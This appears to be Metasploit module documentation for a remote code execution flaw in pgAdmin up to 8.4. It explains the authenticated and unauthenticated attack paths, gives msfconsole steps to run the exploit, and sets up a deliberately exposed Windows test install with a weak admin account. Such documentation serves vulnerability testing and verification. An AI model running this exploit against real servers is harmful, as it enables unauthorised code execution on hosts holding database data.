## Vulnerable Application
The pgAdmin versions up to 8.4 are vulnerable to a Remote Code Execution (RCE) flaw through the validate binary path API.
This vulnerability allows attackers to run arbitrary code on the server hosting pgAdmin, which poses a significant
threat to the integrity of the database management system and the security of its underlying data.

The exploit can be executed in both authenticated and unauthenticated scenarios. When valid credentials are available,
Metasploit can log in to pgAdmin, upload a malicious payload using the file management plugin, and then execute it via
the validate_binary_path endpoint. This vulnerability is specific to Windows targets. If authentication is not required
by the application, Metasploit can directly upload and trigger the payload through the validate_binary_path endpoint.

## Verification Steps

1. Install the application
1. Start msfconsole
1. Do: `use exploit/multi/http/pgadmin_binary_path_api`
1. Set the `RHOST`, `PAYLOAD`, and optionally the `USERNAME` and `PASSWORD` options
1. Do: `run`


### Installation (Windows)

These steps are the bare minimum to get the application to run for testing and should not be use for a production setup.
For a production setup, a server like Apache should be setup to run pgAdmin through it's WSGI interface.

**The following paths are all relative to the default installation path `C:\Program Files\pgAdmin 4\web`**.

1. [Download][1] and install the Windows build
1. Copy the `config_distro.py` file to `config_local.py`
1. Edit `config_local.py` and set `SERVER_MODE` to `True`
1. Edit `config_local.py` and add `DEFAULT_SERVER = '0.0.0.0'` to bind on all IPs, required for remotely exploiting from a different machine
1. Initialize the database: `..\python\python.exe setup.py setup-db`
1. Create an initial user account: `..\python\python.exe setup.py add-user --admin test@test.com 123456`
1. Run the application: `..\python\python.exe pgAdmin4.py`
